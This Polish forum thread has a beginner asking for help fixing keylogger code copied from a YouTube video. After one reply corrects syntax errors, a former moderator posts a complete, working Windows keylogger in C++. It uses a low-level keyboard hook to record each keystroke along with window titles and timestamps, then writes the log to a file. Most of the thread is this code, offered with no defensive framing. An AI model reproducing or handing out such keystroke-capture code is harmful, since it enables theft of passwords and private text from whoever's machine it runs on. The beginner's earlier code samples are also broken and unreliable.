Keylogger youtube

sm950

Użytkownik
Dołączył
Sierpień 8, 2012
Posty
62
Mam takie pytanie to jest link filmu z którego korzystałem:http://www.youtube.com/watch?v=Y2-7Pn0YNHI



a to kod:
#include <iostream>
#include <windows.h>
#include <stdio.h>

using namespace std;

int salvar(int tecla, char *file)

int main()
{
char a;

while(true) {

for(i=;<=190;i++) [
if(GetAsyncKeyState(i) == -32767)
save(i,''log.txt'');
}

}

return 0;
}

int salvar(int tecla, char *file) {

FILE *newarquivo;
newarquivo = fopen(file, ''a+'');

cout << tecla;

fprintf(newarquivo, ''%s'' , tecla);


return 0;

}





i wyskakują takie błędy:
http://screenshooter.net/5967837/lbalaqi


POMOŻCIE
 

Psotnick

Użytkownik
Dołączył
Maj 3, 2011
Posty
16
Po pierwsze, masz wypisane numery linijek, w których kompilator ma problemy. Zajmijmy się nimi po kolei:
Linijka 17: save(i, ''log.txt''); //tak jest
save(i,"log.txt"); //tak powinno być
Linijka 28: newarquivo = fopen(file, ''a+''); //tak jest
newarquivo = fopen(file, "a+"); //tak powinno być
Linijka 32: fprintf(newarquivo, ''%s'' , tecla); //tak jest
fprintf(newarquivo, "%s" , tecla); //tak powinno być
Linijka 9: ta linijka jest ok, więc patrzymy co jest wokół niej nie tak. W tym przypadku problem jest z linijką 7, brakuje średnika na końcu.

Nawet jeśli to poprawisz, to wątpię, żeby to zadziałało, będą następne błędy. Poprawiłem (chyba tak jak chciałeś) jeszcze kilka błędów, ale to i tak nie ma raczej szans działać jako keylogger. Proponuję nauczyć się chociaż podstaw C++, bo inaczej nie poradzisz sobie, a wątpię, żeby ktoś odpowiedział na Twój następny temat.

#include <iostream>
#include <windows.h>
#include <stdio.h>

using namespace std;

int salvar(int tecla, char *file);

int main()
{
char a;

while(true) {

for(int i=0;i<=190;i++)
if(GetAsyncKeyState(i) == -32767)
save(i,"log.txt");
}

}

return 0;
}

int salvar(int tecla, char *file) {

FILE *newarquivo;
newarquivo = fopen(file, "a+");

cout << tecla;

fprintf(newarquivo, "%s" , tecla);


return 0;

}

EDIT: Jeśli nawet nie potrafisz przepisać kodu z filmiku, to programowanie nie jest dla Ciebie.
 
Ostatnia edycja:

D.F.

Były Moderator
Dołączył
Listopad 4, 2009
Posty
493
Do autora tematu: Przeanalizuj poniższy kod, jest to keylogger oparty o hook'a.

Kod:
#include <iostream>
#include <fstream>
#include <Windows.h>

HHOOK hKeyboardHook = 0;
std::string LogFile;
HWND hCurrentWindow;
char sWindowTitle[256];
char cReturn[] = {13, 10};
std::ofstream fLogFile;
SYSTEMTIME SystemTime;
char cTime[64];
char cFileName[64];

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;

	if (nCode >= 0)
	{
		if (wParam == WM_KEYUP)
		{
			if(hCurrentWindow != GetForegroundWindow())
			{
				hCurrentWindow = GetForegroundWindow();
				GetWindowText(hCurrentWindow, sWindowTitle, 256);
				GetSystemTime(&SystemTime);
				sprintf_s(cTime, "[ Czas: %02d:%02d:%02d, ", SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond);
				LogFile += cReturn;
				LogFile += cTime;
				LogFile += " Nazwa okna: ";
				LogFile += sWindowTitle;
				LogFile += " ]";
				LogFile += cReturn;
			}
			switch(pKbdLLHookStruct->vkCode)
			{
				case VK_RETURN:
					LogFile += "[Enter]";
					LogFile += cReturn;

					break;
				case VK_BACK:
					LogFile += "[Backspace]";
					break;
				case VK_ESCAPE:
					LogFile += "[Escape]";
					break;
				case VK_CAPITAL:
					LogFile += "[Capslock]";
					break;
				case VK_LMENU:
					LogFile += "[LAlt]";
					break;
				case VK_RMENU:
					LogFile += "[RAlt]";
					break;
				case VK_MENU:
					LogFile += "[Alt]";
					break;
				case VK_CONTROL:
					LogFile += "[Ctrl]";
					break;
				case VK_DELETE:
					LogFile += "[Delete]";
					break;
				case VK_SPACE:
					LogFile += " ";
					break;
				case VK_MULTIPLY:
					LogFile += "*";
					break;
				case VK_ADD:
					LogFile += "+";
					break;
				case VK_SUBTRACT:
					LogFile += "-";
					break;
				case VK_DECIMAL:
					LogFile += ".";
					break;
				case VK_DIVIDE:
					LogFile += "/";
					break;
				case 188:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "<";
					else
						LogFile += ",";
					break;
				case 192:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "~~";
					else
						LogFile += "`";
					break;
				case 222:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "\"";
					else
						LogFile += "'";
					break;
				case 220:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "|";
					else
						LogFile += "\\";
					break;
				case 219:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "{";
					else
						LogFile += "[";
					break;
				case 221:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "}";
					else
						LogFile += "]";
					break;
				case 186:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += ":";
					else
						LogFile += ";";
					break;
				case 191:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "?";
					else
						LogFile += "/";
					break;
				case 190:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += ">";
					else
						LogFile += ".";
					break;
				case 44:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "<";
					else
						LogFile += ",";
					break;
				case 187:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "+";
					else
						LogFile += "=";
					break;
				case 189:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "_";
					else
						LogFile += "-";
					break;
				case 65:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "A";
					else
						LogFile += "a";
					break;
				case 66:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "B";
					else
						LogFile += "b";
					break;
				case 67:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "C";
					else
						LogFile += "c";
					break;
				case 68:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "D";
					else
						LogFile += "d";
					break;
				case 69:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "E";
					else
						LogFile += "e";
					break;
				case 70:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "F";
					else
						LogFile += "f";
					break;
				case 71:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "G";
					else
						LogFile += "g";
					break;
				case 72:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "H";
					else
						LogFile += "h";
					break;
				case 73:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "I";
					else
						LogFile += "i";
					break;
				case 74:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "J";
					else
						LogFile += "j";
					break;
				case 75:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "K";
					else
						LogFile += "k";
					break;
				case 76:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "L";
					else
						LogFile += "l";
					break;
				case 77:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "M";
					else
						LogFile += "m";
					break;
				case 78:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "N";
					else
						LogFile += "n";
					break;
				case 79:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "O";
					else
						LogFile += "o";
					break;
				case 80:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "P";
					else
						LogFile += "p";
					break;
				case 81:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "Q";
					else
						LogFile += "q";
					break;
				case 82:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "R";
					else
						LogFile += "r";
					break;
				case 83:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "S";
					else
						LogFile += "s";
					break;
				case 84:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "T";
					else
						LogFile += "t";
					break;
				case 85:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "U";
					else
						LogFile += "u";
					break;
				case 86:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "V";
					else
						LogFile += "v";
					break;
				case 87:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "W";
					else
						LogFile += "w";
					break;
				case 88:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "X";
					else
						LogFile += "x";
					break;
				case 89:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "Y";
					else
						LogFile += "y";
					break;
				case 90:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "Z";
					else
						LogFile += "z";
					break;
				case VK_NUMPAD0:
					LogFile += "0";
					break;
				case VK_NUMPAD1:
					LogFile += "1";
					break;
				case VK_NUMPAD2:
					LogFile += "2";
					break;
				case VK_NUMPAD3:
					LogFile += "3";
					break;
				case VK_NUMPAD4:
					LogFile += "4";
					break;
				case VK_NUMPAD5:
					LogFile += "5";
					break;
				case VK_NUMPAD6:
					LogFile += "6";
					break;
				case VK_NUMPAD7:
					LogFile += "7";
					break;
				case VK_NUMPAD8:
					LogFile += "8";
					break;
				case VK_NUMPAD9:
					LogFile += "9";
					break;
				case 48:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += ")";
					else
						LogFile += "0";
					break;
				case 49:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "!";
					else
						LogFile += "1";
					break;
				case 50:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "@";
					else
						LogFile += "2";
					break;
				case 51:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "#";
					else
						LogFile += "3";
					break;
				case 52:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "$";
					else
						LogFile += "4";
					break;
				case 53:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "%";
					else
						LogFile += "5";
					break;
				case 54:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "^";
					else
						LogFile += "6";
					break;
				case 55:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "&";
					else
						LogFile += "7";
					break;
				case 56:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "*";
					else
						LogFile += "8";
					break;
				case 57:
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
						LogFile += "(";
					else
						LogFile += "9";
					break;
			}
		}
	}

	return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, GetModuleHandle(0), 0);
	if(hKeyboardHook == NULL)
		MessageBox(0, "Funkcja SetWindowsHookEx nie powiodła się.", 0, 0);
	
	MessageBox(0, "Keylogger jest aktywny. Wciśnij OK, aby zakończyć jego pracę i zapisać log do pliku.", "Informacja", 0);

	// pobierz czas i datę, i doklej ją do nazwy pliku
	GetSystemTime(&SystemTime);
	sprintf_s(cFileName, "log%02d_%02d_%02d-%02d-%d.txt", SystemTime.wHour+2, SystemTime.wMinute, SystemTime.wDay, SystemTime.wMonth, SystemTime.wYear);

	// zapisz log do pliku
	fLogFile.open(cFileName);
	fLogFile << LogFile.c_str();
	fLogFile.close();

	if(UnhookWindowsHookEx(hKeyboardHook) == 0)
		MessageBox(0, "Funkcja UnhookWindowsHookEx nie powiodła się.", 0, 0);

	return EXIT_SUCCESS;
}

PS: Wiem, że wklejałem ten kod już na forum, ale niektórzy nadal nie potrafią znaleźć.
 
Do góry Bottom